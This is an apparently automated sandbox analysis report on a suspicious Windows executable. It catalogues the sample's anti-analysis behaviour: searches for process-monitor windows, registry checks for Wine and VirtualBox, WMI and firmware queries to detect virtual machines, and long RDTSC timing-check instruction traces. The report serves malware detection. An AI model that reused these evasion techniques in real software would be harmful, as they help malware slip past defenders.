Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_051145C8 push esp; ret	0_3_0511473D
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_051145C8 push esp; ret	0_3_0511473D
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_051145C8 push esp; ret	0_3_0511473D
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_051145C8 push esp; ret	0_3_0511473D
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_008452F9 pushad ; ret	0_3_00845309
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_008452F9 pushad ; ret	0_3_00845309
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_008452F9 pushad ; ret	0_3_00845309
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00844204 push esi; retf	0_3_00844207
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00844204 push esi; retf	0_3_00844207
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00844204 push esi; retf	0_3_00844207
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_0084A315 push ds; ret	0_3_0084A318
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_0084A315 push ds; ret	0_3_0084A318
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_0084A315 push ds; ret	0_3_0084A318
Source: C:\Users\user\Desktop\RDb082EApV.exe	Code function: 0_3_00842611 push eax; iretd	0_3_00842612

Source: RDb082EApV.exe

Static PE information: section name: entropy: 7.975167309002604

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\RDb082EApV.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\RDb082EApV.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 695F5 second address: 695F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E9A5A second address: 1E9A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FCE94BEBC16h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E9A67 second address: 1E9A6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8A3D second address: 1E8A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BAE second address: 1E8BB8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BB8 second address: 1E8BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BBE second address: 1E8BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BC2 second address: 1E8BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BC6 second address: 1E8BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FCE94E61210h 0x00000010 jne 00007FCE94E61206h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BED second address: 1E8BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BF2 second address: 1E8BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8BF7 second address: 1E8BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8D3E second address: 1E8D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8D42 second address: 1E8D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8D46 second address: 1E8D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FCE94E61206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FCE94E61206h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E8FFA second address: 1E904C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC26h 0x00000007 jmp 00007FCE94BEBC27h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FCE94BEBC29h 0x00000013 pushad 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1E904C second address: 1E9052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EB92A second address: 1EB934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FCE94BEBC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBB2B second address: 1EBBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007FCE94E61214h 0x00000010 push 00000000h 0x00000012 mov ecx, eax 0x00000014 mov edx, dword ptr [ebp+122D1DFCh] 0x0000001a push 2C338366h 0x0000001f pushad 0x00000020 jc 00007FCE94E61217h 0x00000026 jmp 00007FCE94E61211h 0x0000002b jmp 00007FCE94E61211h 0x00000030 popad 0x00000031 xor dword ptr [esp], 2C3383E6h 0x00000038 push 00000003h 0x0000003a sub dword ptr [ebp+122D1E25h], ebx 0x00000040 pushad 0x00000041 mov esi, dword ptr [ebp+122D3C0Fh] 0x00000047 mov dword ptr [ebp+122D1D91h], edi 0x0000004d popad 0x0000004e push 00000000h 0x00000050 jo 00007FCE94E6120Ch 0x00000056 mov ecx, dword ptr [ebp+122D3AFFh] 0x0000005c mov edi, dword ptr [ebp+122D3CBBh] 0x00000062 push 00000003h 0x00000064 mov si, 14BDh 0x00000068 push 53ED2596h 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push ebx 0x00000071 pop ebx 0x00000072 pop eax 0x00000073 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBBC5 second address: 1EBC01 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCE94BEBC18h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 6C12DA6Ah 0x00000011 pushad 0x00000012 jmp 00007FCE94BEBC1Dh 0x00000017 push edx 0x00000018 xor dword ptr [ebp+122D366Bh], edi 0x0000001e pop ebx 0x0000001f popad 0x00000020 mov dword ptr [ebp+122D1D47h], edx 0x00000026 lea ebx, dword ptr [ebp+1245688Ah] 0x0000002c xchg eax, ebx 0x0000002d push ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBC01 second address: 1EBC05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBC05 second address: 1EBC24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jnp 00007FCE94BEBC2Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBC24 second address: 1EBC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBC8C second address: 1EBC92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1EBC92 second address: 1EBD38 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub dword ptr [ebp+122D1D8Dh], eax 0x00000015 push 00000000h 0x00000017 cld 0x00000018 sub esi, 5A7AD42Ah 0x0000001e push E25BF3FDh 0x00000023 jo 00007FCE94E61215h 0x00000029 jmp 00007FCE94E6120Fh 0x0000002e add dword ptr [esp], 1DA40C83h 0x00000035 jo 00007FCE94E6120Ch 0x0000003b mov dword ptr [ebp+122D366Bh], edx 0x00000041 push 00000003h 0x00000043 ja 00007FCE94E61208h 0x00000049 mov cl, 89h 0x0000004b push 00000000h 0x0000004d mov edi, dword ptr [ebp+122D3A7Fh] 0x00000053 push 00000003h 0x00000055 sub edx, dword ptr [ebp+122D3BBBh] 0x0000005b push B8085F58h 0x00000060 jnc 00007FCE94E61217h 0x00000066 xor dword ptr [esp], 78085F58h 0x0000006d mov dword ptr [ebp+122D242Dh], esi 0x00000073 lea ebx, dword ptr [ebp+12456895h] 0x00000079 cmc 0x0000007a push eax 0x0000007b pop esi 0x0000007c push eax 0x0000007d jg 00007FCE94E61214h 0x00000083 push eax 0x00000084 push edx 0x00000085 jnp 00007FCE94E61206h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1FEBA4 second address: 1FEBA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1FEBA8 second address: 1FEBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FCE94E61212h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1FEBC7 second address: 1FEBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20C67D second address: 20C681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CC01 second address: 20CC07 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CC07 second address: 20CC0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CC0C second address: 20CC12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CD8C second address: 20CD90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CD90 second address: 20CD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FCE94BEBC16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CD9C second address: 20CDA3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20CDA3 second address: 20CDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007FCE94BEBC30h 0x0000000d jp 00007FCE94BEBC18h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 js 00007FCE94BEBC22h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1CE8AB second address: 1CE8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1CE8B1 second address: 1CE8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1CE8B6 second address: 1CE8BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20D4EA second address: 20D51F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FCE94BEBC27h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20D51F second address: 20D55F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FCE94E61216h 0x00000008 pop ecx 0x00000009 push esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FCE94E61234h 0x00000015 pushad 0x00000016 jmp 00007FCE94E61211h 0x0000001b jns 00007FCE94E61206h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20DCDE second address: 20DD08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FCE94BEBC23h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FCE94BEBC1Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20DD08 second address: 20DD1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007FCE94E61206h 0x00000009 jng 00007FCE94E61206h 0x0000000f pop edi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20E297 second address: 20E2A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007FCE94BEBC16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20E2A8 second address: 20E2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 20E2AE second address: 20E2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCE94BEBC16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1D6E63 second address: 1D6E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 211DD2 second address: 211DDC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 211DDC second address: 211DEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21080C second address: 210812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 211FF2 second address: 211FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 211FF6 second address: 211FFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21213E second address: 212144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 212144 second address: 212149 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 218663 second address: 218689 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FCE94E6120Dh 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007FCE94E61206h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 218689 second address: 21868D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21868D second address: 218695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 218695 second address: 21869C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217B19 second address: 217B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217B1D second address: 217B23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217C6B second address: 217C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217DD6 second address: 217DF9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FCE94BEBC26h 0x00000008 jnp 00007FCE94BEBC16h 0x0000000e pop edi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217DF9 second address: 217E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCE94E6120Fh 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217E18 second address: 217E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217F8B second address: 217FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E61216h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217FA5 second address: 217FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FCE94BEBC16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 217FB5 second address: 217FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21821B second address: 218221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 218221 second address: 218226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2184EA second address: 2184EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2184EE second address: 2184F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2184F6 second address: 2184FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2184FC second address: 218506 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCE94E61206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
